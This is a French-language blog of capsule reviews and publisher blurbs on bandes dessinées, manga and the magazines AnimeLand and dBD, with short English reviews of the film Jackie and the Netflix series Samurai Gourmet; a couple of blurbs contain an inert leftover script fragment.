Valérian: Shingouzlooz Inc.

Shingouzlooz_inc-covVers l’infini, et on verra… 

Une oeuvre majeure ayant inspiré autant de créateurs, parcouru autant d’univers, ne pouvait totalement s’arrêter. Et d’ailleurs, dans les abîmes interstellaires, où se situent la fin et le commencement ? 

C’est pourquoi Pierre Christin et Jean-Claude Mézières ont souhaité confier Valérian et Laureline à quelques auteurs, triés sur le volet, non pas pour une suite mais pour une figure libre, une relecture d’un univers propice à toutes les interprétations. 

Après un Valérian réinterprété avec brio par Manu Larcenet, Wilfrid Lupano et Mathieu Lauffray revisitent, à leur façon, un épisode de cette série culte : quand le scénariste des Vieux fourneaux et le dessinateur de Long John Silver s’emparent de cet univers, le résultat est forcément décoiffant… 

 (Texte de la couverture arrière; voir aussi le site de l’éditeur)

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L’armure du Jakolass

ArmureDuJakolass-covL’Ouvre-Temps clôturait en beauté quarante siècles d’aventures spatio-temporelles, une saga grouillante d’humanité (et surtout de non-humains), ayant exploré d’innombrables mondes, dues aux imaginaires conjugués de deux maîtres de la bande dessinée, Pierre Christin et Jean-Claude Mézières.

Mais une série ayant inspiré autant de créateurs, parcouru autant d’univers, ne pouvait totalement s’arrêter. Et d’ailleurs, dans les abîmes interstellaires, où se situent la fin et le commencement ?

C’est pourquoi Christin et Mézières ont souhaité confier leurs deux héros à quelques amis, triés sur le volet, pas pour une suite, surtout pas, mais pour une exécution en figures libres, une relecture d’un univers propice à toutes les interprétations…

Et quoi de plus amusant, de plus délirant et de plus émouvant, pour commencer, que de découvrir du Valérian vu par Larcenet ? Il ne s’agit bien sûr ni d’un pastiche, ni d’une suite respectueuse. C’est à la fois du vrai space-opéra méditant sur les espaces infinis, et du vrai Larcenet rigolant du tout, que va dévoiler L’Armure du Jakolass.

(Texte de la couverture arrière; voir aussi le site de l’éditeur)

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Astérix et la Transitalique

Asterix_et_la_transitalique-cov“Célèbres pour leurs nombreux voyages à travers le Monde Connu, Astérix et Obélix vont cette fois découvrir les nombreux peuples de la péninsule italienne : les Italiques !

En effet, si Astérix et Obélix ont plusieurs fois arpenté les rues de Rome, ils vont pour la 1e fois découvrir que les habitants de l’Italie ne sont pas tous des Romains, n’en déplaise à Obélix ! Les multiples régions de la péninsule sont au contraire habitées par une grande diversité de peuples qui tiennent à préserver leur indépendance, et voient d’un mauvais oeil les velléités de domination de Jules César et ses légions.

Pour Astérix et Obélix, s’engage dans Astérix et la Transitalique une grande aventure aux confins de la péninsule, à la découverte d’une Italie telle que vous ne l’avez jamais vue !”  (Texte du site de l’éditeur)

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Capsule reviews (02.017.247)

Bande-dessinée

Yoko Tsuno #28: Le temple des Immortels

YokoTsuno-28_temple_des_immortels-covUne autre aventure plutôt invraisemblable de l’électronicienne nippone. Leloup développe ici des éléments de récits qu’il avait laissé en plan dans des albums précédents ( #12: La Proie et l’ombre, #25: La Servante de Lucifer, #27: Le Secret de Khâny ). Comme c’est souvent le cas dans ses oeuvres plus récentes, le récit semble un peu précipité alors qu’il essai de raconter son histoire dans le cadre étroit  du format traditionnel de quarante-deux pages. On a l’impression de vivre le récit en accéléré…

Le problème avec des albums qui font sans cesse référence à des volumes précédents est qu’on ne se rappelle pas toujours des détails qui s’y étaient déroulés, ce qui laisse des lacunes dans la bonne compréhension (et l’appréciation) du récit. Toutefois l’idée de moines médiévaux avec des Vinéens et des tributs celtiques vivant au creux de la terre, dans un gouffre profond, a quand même du charme. C’est une lecture nostalgique mais tout de même un peu décevante, donc d’un intérêt moyen…

Cela donne le goût de relire de vieux albums (car étrangement je suis resté sur ma faim — c’est presque toujours le cas avec ces très court albums à l’européenne). Comment un artiste peut-il vivre en publiant juste de tels albums aux deux ans? C’est un dur contraste avec les mangakas nippon qui produisent en moyenne une quantité de pages similaires (en noir et blanc toutefois) CHAQUE SEMAINE (!) pour la pré-publication en périodique… stars-2-5

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Magazine

AnimeLand #216

Animeland_216Le numéro de juin-juillet 2017 nous offre des dossiers sur l’importance du visuel dans la société nippone (“Quand la 2D se tape l’incruste”), sur le marché de l’anime en France en 2016 (qui ne progresse pas aussi positivement que celui du manga car divisé, à 70% / 30%, entre le DVD et le Blu-ray et considérablement affecté par la popularité du simulcast, qui a toutefois l’avantage de faire régresser l’utilisation de sites illégaux de diffusion), et sur les anime “engagés” (socio-politiquement: Harmony, Genocidal Organ, Ghost in the Shell S.A.C., Galactic Hero Legend, Gundam; ou écologiquement: L’école emportée, Conan: Fils du Futur, Nausicaa, Princess Mononoke, Pompoko, Ponyo sur la falaise, Earth Girl Arjuna, etc.).

Comme toujours, AnimeLand nous fait découvrir de nombreux anime (Hirune Hime, Dans un recoin du monde, Golgo 13, Le grand méchant renard, My hero academia, Atom: The Beginning, la saison 2 de L’attaque des titans, Dragonball Super, Boruto: Naruto Next Generations, Rage of Bahamut: Virgin Soul, Capitaine Flam), mangas (Kenshin, One Piece, Mob Psycho 100, Les mémoires de Vanitas, Reine d’Égypte, Voyage à Tokyo, Tenjin, Gloutons et Dragons), et jeux video (Persona 5, et un article sur les mondes ouverts). On nous trace aussi des portraits de seiyu (Mamoru Miyano) ou de musicien (Akira Yamaoka) et nous présente une dizaine d’interviews avec Kenji Kamiyama (Hirune Hime), Eric Goldberg & Neysa Bové (Vaiana), Masashi Kudo (Chain Chronicle), Yasuyuki Muto (Rolling Girls), Studio La Cachette, Nobuhiro Watsuki (Kenshin), Kiyo Kyujyo (Trinity Blood), Tatsuki Fujimoto (Fire Punch) et Chie Inudoh (Reine d’Égypte). Finalement, on retrouve les indispensables actualités et commentaires sur les parutions récentes.

Nul doute que AnimeLand est une source inépuisable d’information sur l’animation et la bande-dessinée japonaise, et le seul magazine francophone sur ces sujets. Toutefois, je n’ai rien trouvé de bien excitant dans ce numéro… stars-2-5

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Manga

Pline #2: Les rues de Rome

Pline-2-covCe second tome, s’il nous offre beaucoup moins d’action que le premier, n’en est pas moins intéressant car il approfondit de beaucoup notre connaissance des protagonistes. Euclès découvre la maison (remplit de manuscrits!) de son nouveau maître, Pline. Celui-ci souffre grandement de l’asthme mais se méfie beaucoup des médecins. Il finira cependant par se soumettre au traitement du médecin grec Silénos, qui lui recommande surtout l’air pur de la Campanie. Euclès tombe amoureux d’une jeune esclave, Plautina, qu’il a rencontré par hasard, mais celle-ci est aussi tombé dans l’oeil de l’empereur Néron! Celui-ci se sent un peu égaré sans les conseils de son précepteur, Sénèque, qu’il a exilé. On y découvre une image plus humaine de Néron, qui apparait moins comme un tyran qu’un jeune homme cultivé mais moralement faible. Poppée, qui n’est pas très aimée du peuple, se fait lancer des pierres. Elle annonce à Néron qu’elle est enceinte, ce qui le convainc finalement de la marier et de régler le sort d’Octavie. Felix, le garde du corps un peu frustre de Pline, a une famille à Rome mais sa femme se plaint de ses absences prolongées et surtout des conditions de vie difficile dans les insulae romaines. Alors Pline leur offre de s’installer dans l’une de ses maisons. Mais le personnage le plus important de ce tome, c’est sans doute Rome elle-même alors que l’on découvre plus en détails ses bas fonds et ses lupanars!

C’est une lecture passionnante si vous êtes amateur de manga historique et de Rome antique. Et ce qui est particulièrement remarquable dans cet ouvrage c’est le grand détail et la qualité du dessin de Mari Yamazaki et Tori Miki. À lire absolument! stars-3-5

Voir aussi mon commentaire sur Pline #1: L’appel de Néron

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Movies

Jackie

Jackie-dvdcovSlow, boring movie that shows a not very sympathetic, selfish Jackie, control freak of her image and obsessed with Lincoln funeral and the fact that his widow died destitute and penniless. Is this a well researched bio pic or just an iconoclast fiction? In the end, it is all about the making of the modern myth of the American camelot.

After John‘s death, Jackie meets with a journalist and reminisce about her traumatic ordeal in order to reshape her husband’s presidency. What makes a president great and be remembered like Lincoln was? His accomplishment or his image? stars-2-0

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TV Series

Samurai Gourmet

SamuraiGourmetSomeone recommended to my wife this Japanese TV series streaming on Netflix. The subject is cool, I had already heard about the writer of the original manga and the main character is played by an actor that I like, therefore I had no hesitation to subscribe to Netflix in order to binge on this mini series of twelve episodes of twenty minutes each. I have absolutely no regret. It was quite funny and very interesting as I leaned a few things about Japanese cuisine. Highly recommended!

Nobushi no Gourmet (漫画版 野武士のグルメ) is based on a manga written by Masayuki Kusumi and drawn by Shigeru Tsuchiyama (first pre-published in November 2013 by Gentosha Plus web magazine and then in print in June 2016 — I have already commented on the very similar manga that Masayuki Kusumi did with Jiro Taniguchi in 1994-96 titled Kodoku no gourmet). It tells the story of 60-year-old salaryman Takashi Kasumi (Naoto Takenaka) who just retired. Having lost his corporate title and the support of his company, he finds himself with lots of time on his hands. His wife Shizuko (Honami Suzuki) is always busy with something (choir practice, etc.), so he goes for a walk, wandering around and decides to enter a restaurant. For the first time he has a beer in the afternoon and rediscovers the pleasure of a good meal! Being a great fan of Sengoku Period samurai stories, he often imagine what a masterless samurai (played by Tetsuji Tamayama) would do in his situation — which always creates hilarious scenes!

As most of the episode is made of showing off food and the protagonist inner monologue, you might think it is quite boring: in the contrary, it’s an excellent series (see comments on Japan Times, Eater, Thrillist) as proven by a 97% rating on Rotten Tomatoesstars-4-0

[ IMDbNetflixWikipedia ]

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Capsule-reviews: Magazines (02.017.189)

Cela fait toujours bizarre de commenter des périodiques, mais ils sont une partie importante de la littérature (ou de tout autre média dont ils parlent) et méritent notre attention (d’autant plus que c’est une industrie où il est difficile de survivre — j’en sais quelque chose, ayant moi-même été pendant vingt ans rédacteur-en-chef et directeur de production pour un magazine consacré au dessin animé et à la bande-dessinée japonaise).

dBD #115

Le tout dernier numéro de dBD (juillet-août 2017), un magazine consacré à “l’actualité de toute la bande-dessinée” [disponible dans les bibliothèques de Montréal], nous offre un dossier sur la science-fiction et met en couverture Valérian. En plus des inévitables actualités et critiques de parutions récentes, nous y retrouvons plusieurs points d’intérêts: nous avons droit, entre autres, à un interview avec Nora Reddani, commissaire d’exposition à La Villette, qui nous parle de l’exposition “Valérian et Laureline en mission pour la Cité” jusqu’au 14 janvier 2018 à La Cité des Sciences et de l’Industrie, Efa & Rubio nous parle de leur Monet, Nomade de la lumière (chez Lombard), Bocquet rend hommage à Jidéhem ( Sophie), Nicoby parle des petits livres qu’il auto-édite pour le plaisir de ses fans, Chauzy parle de son adaptation BD du roman de Pelot, L’Été en pente douce (chez Fluide Glacial), le couple Jodorowsky / Montandon parle de leur collaboration artistique, le chanteur Adamo parle de ses amitiés avec des bédéistes (Tibet, Uderzo, Peyo, etc.), interview avec Phicil (Courtois & Phicil, La France sur le Pouce, Dargaud), articles sur la BD & l’armée, Hubert (Hubert & Burckel, La nuit mange le jour, Glénat), Brueas & Toulhoat (Block 109 chez Akileos), Cromwell (Cromwell & Gratien, Anita Bomba, journal d’une emmerdeuse, Akileos), et sur le mouvement punk dans la BD. 128 pages, toutes en couleurs, riches en information! Une lecture essentielle (à acheter ou emprunter en biblio) pour ceux qui s’intéresse à la BD sous toutes ses formes (i.e. aussi les comics, mangas, manhwa, etc).

Toutefois, ce qui a le plus retenu mon attention dans ce numéro c’est le trop bref interview (pp. 46-51) avec Christin & Mézières, faites à l’occasion de la sortie prochaine de l’adaptation au cinéma par Luc Besson (Valérian et la cité des milles planètes, sortie à Montréal le 21 juillet!) de leur série culte (Valérian [et Laureline], agent spatio-temporel). On retrouve aussi deux articles sur le genre Pulp (pp. 52-55) et les récits  Post-apocalyptiques en BD (pp. 56-59), mais celui qui m’a le plus intéressé c’est l’article sur la Bédéthèque Idéale de science-fiction (pp. 60-65: 33 titres de 1934 à 2016, incluant cinq mangas!) où je retrouve certains de mes favoris: Lone Sloane (Druillet), Valérian et Laureline (Christin & Mézières), Yoko Tsuno (Leloup), Le vagabond des Limbes (Godard & Ribera), Major Fatal (Moebius), Trilogie Nikopol (Bilal), L’Incal (Jodorowsky & Moebius), Nausicaä (Miyazaki), Akira (Otomo), et 20th Century Boys (Urasawa)… À lire!

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Animeland est un magazine que je suis depuis ses débuts (en avril 1991). J’en avais rencontré les fondateurs (Yvan West Laurence et Cédric Littardi) à AnimeCon (première convention officielle sur l’animation japonaise en Amérique du nord, qui s’est tenue du 30 août au 2 septembre 1991, à San Jose en Californie — c’est d’ailleurs là que j’ai rencontré mon épouse!). C’est l’un des top magazines non-nippon consacré au dessin animé et à la bande-dessinée japonaise et le seul de la francophonie. Il est disponible dans les bibliothèques de Montréal.

Animeland #214

Les points saillants de ce récent numéro (Février/Mars 2017) d’Animeland (en plus des indispensables actualités et commentaires sur les parutions récentes) sont deux dossiers sur le cyberpunk dans la manga et l’anime (dont un article sur Ghost in the shell qui fait la couverture) et sur le manga de Naruto, un enquête sur les école manga (bande-dessinée) en France, un article “tendances” sur le fait que les séries animées sont maintenant beaucoup plus courte que dans les années ’80 et ’90, des introduction sur plusieurs anime (Kabanneri of the Iron Fortress, ACCA 13, Yôjo Senki, les anime de vélo, The Great Passage, Redline, La tour au-delà des nuages, Haibane Renmei), manga (March comes in like a lion, Perfect Crime, Pline, Magical Girl Boy, Les Fleurs du mal, Dragons Seekers, Le troisième Gédéon), jeu videos (The Last Guardian, Final Fantasy XV), des portraits de seiyu (Maaya Sakamoto) et musicien (Shiro Sagisu), et six interviews (avec Travis Knight [Kubo], John Musker et Ron Clements [Vaiana], l’équipe de WIT Studio, Eisaku Inoue [One Piece], Shinya Kinoshita, Morihiko Ishikawa).

Dans ce numéro, j’ai fait la géniale découverte du manga Pline, une biographie du naturaliste romain Pline l’Ancien par Mari Yamazaki (Thermae Romae) et Miki Tori. Prépublié au Japon par Shinchôsa dans le périodique Shinchô 45, ce manga seinen, qui est toujours en cours, a déjà quatre tomes de paru dont trois ont été traduit en français par Casterman. À lire absolument!

On y révèle également les résultat du Grand Prix Animeland 2016: Meilleur anime: Yuri!!! On Ice; Meilleur film: Your name.; Meilleur film étranger: La tortue rouge; Meilleur manga: ex-aequo Dead Dead Demon’s Dededede Destruction (Kana) / Le mari de mon Frère (Akata); Meilleur manga one-shot: Marie-Antoinette: La jeunesse d’une reine (Glénat); Meilleur shônen: My Hero Academia (Ki-oon); Meilleur shôjo: Perfect World (Akata); Meilleur yaoi: ex-aequo Doukyusei (Boy’s love/IDP) / L’Étranger de la plage (Boy’s love/IDP); Meilleur seinen: Dead Dead Demon’s Dededede Destruction (Kana).

Somme toute, c’est une lecture indispensable pour quiconque désir rester à jour sur les parutions d’anime et de manga.

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Animeland #215

Avec son plus récent numéro (Avril/Mai 2017), Animeland se renouvelle avec une maquette plus épurée. En plus des indispensables actualités et commentaires sur les parutions récentes, ce numéro est riche en dossiers: la tradition dans la pop culture japonaise (religion, vie quotidienne et folklore), le marché du manga en 2016 (l’embellie se confirme: hausse du chiffre d’affaire de 7.9%), les adaptations live de manga et d’anime (au Japon, à Hollywood et ailleurs, et surtout un article sur l’adaptation cinématographique de Ghost in the shell) et sur les superbes mangas historiques de Shin’ichi Sakamoto Innocent et Innocent Rouge.

Le magazine nous présente également de nombreux anime (Perfect Blue, Genocidal Organ, Sword Art Online: Ordinal Scale, Blue Exorcist Kyoto Saga, Freaky Girls, Chain Chronicle, Onihei, Ah! My Godess), manga (Man in the window, Fire Force, Berserk, Moving Forward, L’enfant et le maudit, To your eternity), jeu videos (Yakuza O, Resident Evil 7: Biohazard), des portraits de seiyu (Adeline Chetail) et musicien (Susumu Hirasawa), ainsi que quatre interviews (avec Yuichi Nakamura & Takahiro Sakurai [Genocidal Organ], Shinichiro Kashiwada & Shingo Adachi [Sword Art Online]). 116 pages (et un poster) pleines d’info indispensables pour tout amateur d’animation japonaise et de manga!

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S’enfuir – Récit d’un otage

“En 1997, document.write(“”); alors qu’il est responsable d’une ONG médicale dans le Caucase, Christophe André a vu sa vie basculer du jour au lendemain après avoir été enlevé en pleine nuit et emmené, cagoule sur la tête, vers une destination inconnue. Guy Delisle l’a rencontré des années plus tard et a recueilli le récit de sa captivité – un enfer qui a duré 111 jours. Que peut-il se passer dans la tête d’un otage lorsque tout espoir de libération semble évanoui ? Un ouvrage déchirant, par l’auteur de Pyongyang, de Shenzhen, de Chroniques birmanes et de Chroniques de Jérusalem.” [ Texte du site de l’éditeur ]
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“Être otage, c’est pire qu’être en prison. En prison, tu sais pourquoi tu es là et à quelle date tu vas sortir. Quand t’es otage, tu n’as même pas ce genre de repères. Tu n’as rien.” [ Texte de la couverture arrière ]

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Le chat du Rabbin 06: Tu n’auras pas d’autre dieu que moi

chat_du_rabbin_6-cov“Le grand retour du Chat du rabbin !”

“Le Chat est désespéré : sa maîtresse, Zlabya, est enceinte… Que va-t-il se passer ? S’intéressera-t-elle encore à lui ? Pourra-t-il encore être caressé, pourra-t-il la voir quand il le voudra ? Quelle sera sa place ? Ne devrait-il pas partir et chercher une autre maison ?”

“Joann Sfar retrouve avec un bonheur évident l’univers du Chat du rabbin et livre une éblouissante histoire pleine de tendresse et d’amour.”

[ Texte du site de l’éditeur; voir aussi la couverture arrière ]

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Asterix: Le Papyrus de César

Asterix-Papyrus_de_Cesar-cov“Deux ans après le succès d’Astérix chez les Pictes, les personnages créés par René Goscinny et Albert Uderzo sont de retour dans un nouvel album écrit par Jean-Yves Ferri et dessiné par Didier Conrad.”

“Tous les ingrédients de la potion magique Astérix sont au rendez-vous : l’Histoire de Rome et des Gaulois est revue et corrigée à coups de gags et de jeux de mots en pagaille ! Par Toutatis !”

“Jules César a eu beau tenter d’exercer sa censure, rien n’y a fait ! Le Papyrus de César est un succès public et critique. Tous les colporteurs de nouvelles sont unanimes, et font part de leur enthousiasme à longueur d’Acta Diurna, dans des critiques élogieuses. « Coup de tonnerre dans le monde des lettres », « Déjà un classique ! », les unes se succèdent pour souligner la qualité d’un album dont on parlera encore dans 2 000 ans !“

(Texte du site de l’éditeur; voir aussi la couverture arrière)

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Paul dans le Nord

Paul_dans_le_Nord“Été 76. Paul a 16 ans et ne rêve que d’une chose: une motocyclette Kawasaki KE100 pour fuir son quotidien et ses parents envahissants. Avec Ti-Marc, un nouvel ami rencontré à sa polyvalente, Paul traversera cette période difficile de son adolescence avec un peu plus de légèreté. Voyages en auto-stop, soirées arrosées entre copains et expériences nouvelles seront au rendez-vous. Le tout, sur fond de jeux olympiques, de musique de Peter Frampton et de Beau Dommage…”

(Texte du site de l’éditeur; voir aussi la couverture arrière)

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Yoko Tsuno 27 – Le secret de Khâny

Yoko_Tsuno_27-Le_secret_de_Khâny-cov“La nuit est tombée sur Loch Castle Cottage et ses habitants. Mais tous ne dorment pas… Yoko et Émilia sont dehors au moment où un étrange engin volant les survole et, d’un rayon fulgurant, frappe Yoko à la tête. Dans un réflexe de survie, Émilia désintègre l’engin qui explose et s’écrase dans le Loch.”

“Peu de temps après, Khâny apparaît dans son vaisseau spatial et explique à Yoko que l’engin l’a prise pour elle, à cause de l’alignement de leurs ondes de pensée. Elle lui révèle une info étonnante : chargée de veiller sur les Vinéens qui dorment en léthargie sous la terre et d’assurer leur retour sur Vinéa, Khâny a découvert parmi eux une adolescente à qui on a insufflé des connaissances très particulières, à savoir un programme de “purification” capable d’éliminer microbes et bactéries de la surface de la Terre pour permettre aux Vinéens de s’y installer sans danger. Ce programme, sinistre héritage de l’infâme Karpan, aurait donc le pouvoir d’éliminer toute vie terrestre ! Plus grave encore: l’adolescente a réussi à fuir son caisson pour se réfugier sur Mars où un accélérateur-lanceur pointé sur la Terre pourrait réaliser, à titre posthume, l’horrible dessein de Karpan.”

“Pour aider son amie vinéenne, Yoko va prendre tous les risques et se lancer dans cette aventure sans se douter que Khâny lui cache un autre secret…”

[Texte du site de l’éditeur; voir aussi la couverture arrière]

ATTENTION: Peut contenir des traces de “divulgâcheurs”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir eux-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et devraient éviter de lire plus loin.

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Elle s’appelait Tomoji

“L’histoire vraie d’une rencontre signée Taniguchi
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“Taniguchi met ici en scène la rencontre entre deux adolescents dans le Japon de l’entre-deux guerres (1925-1932). Tomoji vit dans la campagne au nord du mont Fuji, document.write(“”); tandis que Fumiaki fait ses premiers pas de photographe à Tokyo. L’auteur nous fait découvrir avec sa sensibilité habituelle ce qui va unir ces personnages.”

“Une histoire inspirée de personnages réels qui fonderont par la suite une branche dérivée du bouddhisme.”

[Texte du site de l’éditeur; voir aussi la couverture arrière]

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Elle s’appelait Tomoji (intitulé simplement ????? [ Tomoji ] en japonais) est le fruit d’une commande de la part du temple bouddhiste fréquenté par Jirô Taniguchi et son épouse. L’histoire est d’abord parue dans le bulletin trimestrielle de la secte Shinnyo-En avant d’être publié chez Futabasha en août 2014. La traduction française n’a pas tardé à paraître en janvier 2015 chez un jeune éditeur appartenant au groupe de l’école des loisirs, Rue de Sèvres, qui avait déjà publié Giacomo Foscari de Mari Yamazaki en septembre 2013 ainsi que Cet été-là par Mariko et Jillian Tamaki (une BD par des nord-américaines d’origine japonaise) en mai 2014.

Dans l’interview inclut à la fin de l’ouvrage, Taniguchi nous explique que Shinnyo-En désirait “valoriser ce qui fait la particularité de ce temple, et notamment mieux faire connaître la personnalité et le parcours de sa créatrice, Tomoji Uchida.” Taniguchi n’avait cependant pas l’intentsion de se lancer dans un travail hagiographique, car de simples anecdotes biographiques sont insuffisant pour bâtir une histoire accrocheuse. Pour ce faire il était nécessaire d’y introduire des éléments fictifs. Il décida de se concentrer sur la vie de Tomoji avant la création du temple en privilégiant “le parcours de vie qui a façonné la personnalité de Tomoji, et qui l’a conduite à choisir la voie de la spiritualité.”

Ayant un emploi du temps plutôt chargé et étant peu familier avec ce genre de récit et la période, Taniguchi a décidé de faire appel à une scénariste professionnelle, Miwako Ogihara. Il admet volontiers qu’avec les années il produit des mangas qui offrent moins d’action et de passion, comme ce fut le cas pour Blanco ou Le sommet des dieux, par exemple, et plus de subtilités et de douceurs. Dans le cas de Elle s’appelait Tomoji, il trouvait particulièrement important que l’intrigue se déroule d’une “façon calme et précise”.

Taniguchi nous raconte donc divers moments marquants de la vie de Tomoji Uchida. Chapitre I: Elle s’appelait Tomoji; 1925 (Taishô 14). Tomoji a 13 ans et revient de l’école en flânant. Pendant ce temps, Fumiaki Itô, 19 ans, arrive au village pour photographier, à la demande de sa mère, la grand-mère de Tomoji, Kin Uchida (67 ans)—dont il est le petit-fils de la soeur ainé. Tomoji arrive tard et elle croise Fumiaki sur la route mais sans le rencontrer. Le 9 mai 1912 (dernière année de l’ère Meiji) nait Tomoji par une nuit orageuse.

Chapitre II: Des jours heureux; Mai 1913 (Taishô 2): Pour l’anniversaire de Tomoji, toute la famille se rends chez le photographe de Nirasaki, à vingt kilomètres de Takane. Août 1914 (Taishô 3): sa petite soeur, Masaji, vient au monde. Décembre 1916 (Taishô 4): son père, Yoshihira, meurt d’une péritonite aigüe due à une appendicite.

Chapitre III: La séparation; janvier 1919 (Taishô 8): les enfants travaillent à l’épicerie de la famille; la mère, maintenant veuve, retourne dans sa famille à Gochôda. Elle sera élevé par sa grand-mère et son grand (demi-)frère, Toyô. En avril, Tomoji rentre à l’école primaire Jinjô à Nagasawa. Elle doit marché, seule, plus d’une heure pour s’y rendre. Au retour elle doit aider aux travaux ménagers et au magasin. Printemps 1921 (Taishô 10): Masaji entre aussi à l’école, ce qui fait que Tomoji ne marche plus seule. Masaji est souvent malade. Décembre 1921: la fièvre de Masaji empire et elle doit rester alité plusieurs jours. Janvier 1922 (Taishô 11): Masaji meurt de la fièvre.

Chapitre IV: Le ciel, au loin; avril 1923 (Taishô 12): Tomoji va en excursion avec sa classe.e Elle démontre beaucoup de compassion et d’entraide pour ses amis et sa famille. Été 1923 (Taishô 12): Tomoji est bien organisé et débrouillarde dans son travail. Sa famille mène une vie simple mais sereine. 1er septembre 1923 (Taishô 12): c’est le grand tremblement de terre de la région du Kantô et un vaste incendie ravage Tokyo. Fumiaki, qui vit maintenant à Tokyo, assiste de près à la catastrophe. Été 1924 (Taishô 13): Tomoji travaille aux champs avec sa grand-mère. Le travail est dur mais “après les difficultés… il y a toujours quelque chose d’heureux qui arrive.” Pendant ce temps, Tokyo se reconstruit et Fumiaki apprend l’anglais.

Chapitre V: Le voyage; mars 1925 (Taishô 14): il est décidé que Tomoji poursuivra ses études à l’école supérieure. Elle doit marcher trois kilomètre sur un chemin de montagne pour aller en classe, où elle excelle en toute matière dont le chant. Elle est nommé déléguée de classe. Été 1930 (Shôwa 5): un mariage est arrangé pour Toyô. La grand-mère, qui travaille encore au champs, au magasin et dit des prières pour les voisins malades, commence à avoir des problèmes de santé et meurt à 72 ans. A ses funérailles, le 1er septembre 1930, “Tomoji se souvient de sa grand-mère, attentive aux problèmes que lui racontaient les gens pour pouvoir les aider.” À l’automne c’est le marriage de Toyô. Tomoji décide de quitter la maison pour aller à l’école de couture de kimonos à Kôfu. Elle part en janvier 1931 (Shôwa 6). Elle a 18 ans.

Chapitre VI: Le printemps est arrivé; janvier 1931: de sept heures du matin à minuit, Tomoji passe tout son temps à la couture, puis aux travaux ménagers. Son seul moment de repos c’est celui du repas. Janvier 1932 (Shôwa 7): elle retourne à la maison pour visiter son frère et sa femme qui est enceinte. Elle y apprend qu’elle a une proposition de mariage: il s’agit de Fumiaki Itô de Minami-Arai. C’est un bon prospect car il travail dans une société de construction d’avion à Tokyo. Il est aussi de retour dans sa famille pour les fêtes du nouvel an. Mais avant qu’elle aille se présenter à sa famille, Fumiaki et son frère viennent faire une visite surprise. Quelques jours plus tard, Tomoji se rends avec sa tante à Minami-Arai pour rencontrer la famille de Fumiaki. Elle y fait bonne impression grâce à la bonne éducation qu’elle a reçu de sa grand-mère. Elle est adroite et économe: “Le riz est le résultat de beaucoup de travail (…) il ne faut pas en gaspiller le moindre grain.” De sa grand-mère elle dit aussi qu’elle “était sincèrement dévouée aux autres.” Le jeune couple promet de s’écrire et chacun retourne à son travail.

En Mars, Tomoji reçoit une lettre de sa tante pour lui annoncer qu’elle a reçu le consentement officiel de madame Yoshi Itô pour le mariage. Elle écrit aussitôt à Fumiaki pour lui dire qu’elle est prête à partir dès qu’il viendra la chercher. Il vient aussitôt et ils repartent pour Tokyô. Comme il n’est pas le successeur de la famille et qu’elle n’a pas de dot, ils décident qu’ils peuvent se passer de cérémonie de mariage. En avril, ils s’installent dans un appartement près de la gare de Tachikawa. Ils organisent un petit banquet pour célébrer leur union. Tomoji veux vivre simplement, et construire une famille avec des enfants “dont les rires animent la maison”. Pour la première fois depuis la mort de son père, Tomoji est heureuse et sereine. Elle a le sentiment qu’elle doit beaucoup à sa grand-mère…

Dans Elle s’appelait Tomoji, on retrouve avant tout le superbe style graphique de Taniguchi — clair, précis, détaillé, avec quelques belles pages en couleurs — ainsi que le même genre de récit que pour Le Journal de mon père. Toutefois l’on sent qu’il y manque quelque chose et que le récit n’a pas vraiment d’âme. Le sujet était pourtant prometteur mais Taniguchi (et/ou la scénariste) a échoué dans sa tentative d’en faire un récit captivant. C’était probablement un projet trop ambitieux et Taniguchi a essayé de couvrir trop d’année en un petit nombre de pages ce qui en fait un récit beaucoup trop anecdotique. C’est un très beau manga, et malgré la volonté d’en apprendre plus sur ce personnage intéressant, la lecture n’en est cependant pas satisfaisante. C’est donc un manga très décevant, ce qui est rare dans le cas de Taniguchi.

Elle s’appelait Tomoji, scénario: Jirô TANIGUCHI et Miwako Ogihara, dessin: Jirô TANIGUCHI. Paris: Rue de Sèvres, janvier 2015. 174 pgs, 18.5 x 25.5 cm, 17 € / $31.95 Can, ISBN: 9782369811312. Recommandé pour public adolescent (12+). Un extrait peut être consulté sur le site de l’éditeur.

Pour plus d’information vous pouvez aussi consulter les sites suivants:

Elle s’appelait Tomoji © Jirô Taniguchi / Miwako Ogihara, 2014. Traduction française © Rue de Sèvres, Paris, 2015.

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Le guide du mauvais père (3)

Guide_du_mauvais_pere_3-cov“Transformer la lecture du soir en cours de grammaire ou en usine à cauchemars, rivaliser de puérilité avec ses enfants, leur apprendre les pires bêtises, gagner en trichant, et les mettre au défi de faire pire… Guy Delisle, un mauvais père ? Non, un auteur de bande dessinée qui sait puiser l’imagination là où elle se trouve, avec un sens aigu de l’observation et une bonne dose d’autodérision.”

[ Texte du site de l’éditeur; voir aussi la couverture arrière ]

guide-mauvais-pere-butaneLe guide du mauvais père 3 c’est du pareil au même, très similaire aux deux premiers volumes (commentés précédemment). Mais comme on en redemande toujours chaque nouveau volume est le bienvenue. Cette fois il s’agit de dix-neuf petites histoires d’une dizaine de pages (6 à 18 pages) où un père un peu égoïste et amoral abuse psychologiquement ses enfants de son humour tordu, parfois sans vraiment sans rendre compte: Harry Potter, Dans le jardin, Sortie de l’école, Je chante, Taralle, Moutarde, Les bourreaux, Dvd, Le cadeau d’anniversaire, Devant la télé, Tour de magie, Le pingouin, La vie, Boucle d’or, Dans l’avion, Scientifique, Au magasin, Par la cheminée et La console. Cela crée des situations cocasses, sans doute inspirées de la vie quotidienne de l’auteur (mais, on l’espère, pas trop réelle). Ce qui est extraordinaire c’est qu’en quelques traits simples, Delisle réussi à décrire des situations ou des expressions tout de même assez complexes.

Un petit exemple: extrait de “Harry Potter” (pg 3-5, 9-10)

Comme je l’ai déjà dit pour les deux premiers volumes, c’est un petit bijou fort amusant mais trop bref, car à deux illustrations par pages ça se lit très rapidement. C’est donc une BD légère qui offre une lecture agréable et amusante. Parfait pour l’autobus ou la salle d’attente.

Le Guide du Mauvais Père 3, par Guy Delisle. Paris, Éditions Delcourt (Coll. Shampooing), janvier 2015. 18 x 13 x 1.75 cm, 192 pg., 9,95 € / $15.95 Can. ISBN: 978-2-7560-6647-9. Recommandé pour public adolescent (12+). stars-3-0

Pour plus d’information vous pouvez consulter les sites suivants:

[ AmazonBiblioGoodreadsGoogleWikipedia ]

Voir aussi mes commentaires sur les deux premiers volumes:

Le Guide du Mauvais Père © Éditions Delcourt, 2015 – Guy Delisle.

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Découverte: trois nouveaux Taniguchi

